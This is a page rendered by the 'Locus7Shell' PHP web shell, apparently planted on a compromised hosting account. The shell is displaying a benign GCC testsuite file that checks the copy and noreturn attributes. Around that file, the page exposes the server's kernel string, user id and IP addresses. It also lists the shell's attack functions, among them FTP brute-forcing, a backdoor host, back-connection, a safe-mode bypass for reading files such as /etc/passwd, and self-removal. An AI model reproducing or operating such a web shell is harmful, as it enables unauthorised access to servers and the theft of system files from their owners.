Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/gcc.dg/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     attr-copy-7.c (2.16 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/* PR middle-end/88546 - Copy attribute unusable for weakrefs
   Verify that attribute noreturn (represented as volatile on function
   decls) is interpreted correctly and doesn't affect variables.
   { dg-do compile }
   { dg-options "-O1 -Wall -fdump-tree-optimized" }*/

#define ATTR(...)   __attribute__ ((__VA_ARGS__))
#define ASRT(expr)   _Static_assert (expr, #expr)

ATTR (noreturn) void fnoreturn (void);
ATTR (copy (fnoreturn)) void fnoreturn_copy (void);
ASRT (__builtin_has_attribute (fnoreturn_copy, noreturn));

int call_fnoreturn_copy (void)
{
  fnoreturn_copy ();
  fnoreturn_copy ();   // should be eliminated
}

// { dg-final { scan-tree-dump-times "fnoreturn_copy \\(\\);" 1 "optimized" } }


_Noreturn void f_Noreturn (void);
ATTR (copy (f_Noreturn)) void f_Noreturn_copy (void);
ASRT (__builtin_has_attribute (f_Noreturn_copy, noreturn));

int call_f_Noreturn_copy (void)
{
  f_Noreturn_copy ();
  f_Noreturn_copy ();   // should be eliminated
}

// { dg-final { scan-tree-dump-times "f_Noreturn_copy \\(\\);" 1 "optimized" } }


// Verify the combination of both is accepted and works too,
// just for fun.
ATTR (noreturn) _Noreturn void fnoreturn_Noreturn (void);
ATTR (copy (fnoreturn_Noreturn)) void fnoreturn_Noreturn_copy (void);
ASRT (__builtin_has_attribute (fnoreturn_Noreturn_copy, noreturn));

int call_fnoreturn_Noreturn_copy (void)
{
  fnoreturn_Noreturn_copy ();
  fnoreturn_Noreturn_copy ();   // should be eliminated
}

// { dg-final { scan-tree-dump-times "fnoreturn_Noreturn_copy \\(\\);" 1 "optimized" } }


typedef void func_t (void);

ATTR (noreturn) func_t func_noreturn;
ATTR (copy (func_noreturn)) func_t func_noreturn_copy;
ASRT (__builtin_has_attribute (func_noreturn_copy, noreturn));

int call_func_noreturn_copy (void)
{
  func_noreturn_copy ();
  func_noreturn_copy ();   // should be eliminated
}

// { dg-final { scan-tree-dump-times "func_noreturn_copy \\(\\);" 1 "optimized" } }


// Finally, verify that the volatile bit isn't copied for variables.
extern volatile int vi;

int read_nonvolatile (void)
{
  ATTR (copy (vi)) int i = 0;

  return i + i;   // should be folded to return 0;
}

// { dg-final { scan-tree-dump-times "return 0;" 1 "optimized" } }

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0056 ]--